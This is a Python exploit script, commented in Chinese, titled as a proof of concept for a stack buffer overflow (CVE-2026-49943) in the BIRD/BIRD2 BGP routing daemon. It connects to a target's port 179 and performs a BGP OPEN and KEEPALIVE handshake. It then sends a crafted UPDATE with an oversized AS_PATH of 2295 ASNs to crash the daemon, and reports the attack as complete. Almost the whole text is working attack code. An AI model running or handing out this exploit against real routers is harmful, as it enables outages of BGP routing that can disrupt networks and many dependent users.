BIRD/BIRD2 BGP AS_PATH Mask Matching Stack Buffer Overflow (CVE-2026-49943)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113

import socket
import struct
import sys

def send_bgp_open(sock, local_as=65000, router_id='1.1.1.1'):
    # 构造 OPEN 消息（MP-BGP, 4-byte ASN, Extended Message）
    cap_mp = b'\x01\x04\x00\x01\x00\x01'          # IPv4 Unicast
    cap_as4 = b'\x41\x04\x00\x00\xfd\xe8'         # 4-byte ASN capability (AS 65000)
    cap_ext = b'\x06\x00'                         # Extended message support
    caps = cap_mp + cap_as4 + cap_ext
    opt_params = struct.pack('!BB', 2, len(caps)) + caps

    # OPEN body: version 4, AS 65000, hold time 180s, BGP identifier
    router_id_bytes = socket.inet_aton(router_id)
    open_body = struct.pack('!BHHIB', 4, local_as, 180, struct.unpack('!I', router_id_bytes)[0], len(opt_params)) + opt_params

    # 加上 marker 和头部
    marker = b'\xff' * 16
    bgp_open = marker + struct.pack('!HB', 19 + len(open_body), 1) + open_body
    sock.sendall(bgp_open)

def send_bgp_keepalive(sock):
    marker = b'\xff' * 16
    keepalive = marker + struct.pack('!HB', 19, 4)
    sock.sendall(keepalive)

def send_malicious_update(sock, attacker_ip='192.0.2.1'):
    """
    构造包含超长 AS_PATH 的 UPDATE 消息，触发栈溢出。
    """
    # 基础属性
    attr_origin = b'\x40\x01\x01\x00'                     # ORIGIN: IGP
    nh_bytes = socket.inet_aton(attacker_ip)
    attr_nexthop = struct.pack('!BBB', 0x40, 3, 4) + nh_bytes  # NEXT_HOP

    # 超长 AS_PATH: 9 个 AS_SEQUENCE 段，每段 255 个 AS，全部填充 0x41414141
    as_segment = b'\x02\xff' + (struct.pack('!I', 0x41414141) * 255)
    as_path_data = as_segment * 9                     # 总共 2295 个 AS

    # 使用 Extended Length 标志 (0x50)，因为长度超过 255 字节
    attr_aspath = struct.pack('!BBH', 0x50, 2, len(as_path_data)) + as_path_data

    total_path_attrs = attr_origin + attr_nexthop + attr_aspath

    # NLRI: 10.0.0.0/24
    nlri = b'\x18\x0a\x00\x00'

    # 组装 UPDATE 消息
    update_body = (
        struct.pack('!H', 0) +                     # Withdrawn Routes Length = 0
        struct.pack('!H', len(total_path_attrs)) + # Total Path Attributes Length
        total_path_attrs +
        nlri
    )

    marker = b'\xff' * 16
    bgp_update = marker + struct.pack('!HB', 19 + len(update_body), 2) + update_body
    sock.sendall(bgp_update)

def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [target_port]")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 179

    print(f"[*] 目标 {target_ip}:{target_port}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        print("[+] TCP 连接成功")

        # 发送 OPEN 消息
        send_bgp_open(sock)
        print("[*] 已发送 OPEN 消息")

        # 接收对方 OPEN
        data = sock.recv(4096)
        if not data:
            print("[-] 未收到 OPEN 响应，目标可能不是 BGP 服务")
            sock.close()
            sys.exit(1)
        print("[+] 收到对方 OPEN，协商完成")

        # 发送 KEEPALIVE
        send_bgp_keepalive(sock)
        print("[*] 已发送 KEEPALIVE")

        # 立即发送恶意 UPDATE
        send_malicious_update(sock)
        print("[*] 已发送恶意 UPDATE（2295 ASNs），触发栈溢出...")

        # 尝试接收数据（可能对方已崩溃，连接断开）
        try:
            sock.recv(1024)
            print("[?] 对方未立即断开，可能未成功触发漏洞")
        except (ConnectionResetError, socket.timeout, OSError):
            print("[+] 连接已断开，BIRD 很可能已崩溃（Segmentation fault）")

        sock.close()
        print("[*] 攻击完成")
    except ConnectionRefusedError:
        print("[-] 连接被拒绝，请检查目标 IP 和端口")
    except socket.timeout:
        print("[-] 连接超时")
    except Exception as e:
        print(f"[-] 发生错误: {e}")

if __name__ == "__main__":
    main()